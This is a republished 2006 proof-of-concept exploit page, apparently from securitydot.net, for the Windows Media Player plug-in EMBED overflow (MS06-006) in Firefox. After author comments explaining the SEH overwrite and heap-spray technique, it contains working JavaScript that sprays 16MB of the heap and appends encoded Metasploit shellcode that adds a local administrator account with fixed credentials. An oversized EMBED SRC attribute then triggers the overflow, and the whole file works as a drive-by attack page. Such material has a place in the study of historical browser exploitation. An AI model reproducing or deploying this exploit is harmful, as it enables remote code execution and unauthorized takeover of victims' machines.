Rated as : Critical
Note : Remote code execution via Mozilla Firefox
<HTML>
<HEAD>
<TITLE>WMP Plugin EMBED Exploit</TITLE>
<SCRIPT>
// Windows Media Player Plug-In EMBED Overflow Universal Exploit
(MS06-006)
// By Matthew Murphy (mattmurphy@kc.rr.com)
//
// DISCLAIMER:
//
// This exploit code is intended only as a demonstration tool for
// educational or testing purposes. It is not intended to be used for any
// unauthorized or illicit purpose. Any testing done with this tool must
// be limited to systems that you own or are explicitly authorized to
// test.
//
// By utilizing or possessing this code, you assume any and all
// responsibility for damage that results. The author will not be held
// responsible, under any circumstances, for damage that arises from your
// possession or use of this code.
//
// Tested:
// Firefox 1.5.0.1
// Windows Media Player 10
// Windows XP SP2 (US)
//
// The Windows Media Player plug-in for non-Microsoft browsers (Firefox,
// Opera, etc.) suffers from an exploitable overflow in its handling of
// EMBED tags. Specifically, a very long SRC property on such a tag can
// lead to an overflow that will corrupt a structured exception handling
// frame.
//
// The SEH frame is the vector of control that I exploit. Fortunately,
// DEP is turned off for non-Microsoft code, so there's no issue there.
// That's really a shame, because such a move would've made an already
// difficult exploit much harder.
//
// One of the reasons the exploit is tough is because the overrun buffer
// (the SRC attribute) is seriously mangled before it is handled by the
// plug-in. In particular, any character with the sign bit set (>
0x7F)
// is replaced.
//
// We could do as the creative wizards like HD Moore suggest and use an
// alphanumeric payload with some cute SEH tricks. Let me rephrase:
// YOU could do as the creative wizards suggest. Meanwhile, I'm perfectly
// content to throw my code in another buffer and get around all the silly
// alpha-numeric sanitation. Sure beats devoting hours to beating it
// with fancy shellcode, all for a PoC I may never release.
//
// Instead, I shamelessly ripped a page from Skylined's book and borrowed
// (and cleaned up) the heap spraying technique. My heap-spray is a lot
// less precise, because the memory layout is a lot more variable. In
// my experience, it took a _HUGE_ block allocation to get the heap I
// wanted to jump to into a reliably-placed location. Hence the atrocity
// of the 16MB of noops below.
//
// Aside from the character restrictions, this is a standard stack-based
// overflow. I simply smash the SEH frame with a pointer to my HUGE heap
// block, which consists of a bunch of 0x41 characters. An INC ECX is a
// functional noop -- so the box takes the slide down the heap into the
// shellcode. The shellcode is a standard Win32 "add
administrator"
// payload from Metasploit.
//
// This exploit is a lot of ripping, cleaning and re-implementation, but
// that just goes to show how easy it is to write. So... how about that
// 'Important' rating? A bit perplexing to rate a
"click-and-own" as an
// Important... or is it just because nobody would *DARE* run one of
those
// "Non-Microsoft" browsers on Windows? :-)
// Spray the heap
var spray =
unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");
do {
spray += spray;
} while (spray.length < 0x1000000);
// If this is successful, you can login as a local admin:
//
// User: wmp0wn3d
// Pass: password
spray += unescape(
"%uc933%ue983%ud9c9%ud9ee%u2474%u5bf4%u7381%u9713"+
"%u798c%u839b%ufceb%uf4e2%u646b%u9b3d%u8c97%udef2"+
"%u07ab%u9e05%u8def%u1096%u94d8%uc4f2%u8db7%ud292"+
"%ub81c%u9af2%ubd79%u02b9%u083b%uefb9%u4d90%u96b3"+
"%u4e96%u6f92%ud8ac%u9f5d%u69e2%uc4f2%u8db3%ufd92"+
"%u801c%u1032%u90c8%u7078%u901c%u9af2%u057c%ubf25"+
"%u4f93%u5b48%u07f3%uab39%u4c12%u9701%ucc1c%u1075"+
"%u90e7%u10d4%u84ff%u9292%u0c1c%u9bc9%u8c97%uf3f2"+
"%ud3ab%u6d48%udaf7%u63f0%u4c14%ucb02%u7cff%u9ff3"+
"%ue4c8%u65e1%u821d%u642e%uef70%uff14%ue9b9%ufe01"+
"%ua3b7%ubb1a%ue9f9%ubb0d%uffe2%ue91c%ufbb7%ueb14"+
"%ufba7%ua817%uacf3%ufa09%uffe4%uf40e%ue8e5%ub459"+
"%uc8d6%ubb3d%uaab1%uf559%uf8f2%uf759%ueff8%uf718"+
"%ufef0%uee16%uace7%uff38%ue5fa%uf217%uf8e4%ufa0b"+
"%ue3e3%ue80b%ufbb7%ueb14%ufba7%ua817%uacf3%uda56"+
"%uc8d3%u9b79"
);
</SCRIPT>
</HEAD>
<BODY>
<EMBED
SRC="-------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------AAAABBBBCCCCDDDDEEEEFFFFGGGGHH
HHIIIIJJJJKKKKLLLLAAA NNNNOOOOAAA QQQQRRRRSSSSTTTTUUUUV
VVVWWWWXXXXYYYYZZZZ00001111222233334444555566667777888
89999.wmv"></EMBED>
</BODY>
</HTML>
securitydot.net - 2006-02-17
|
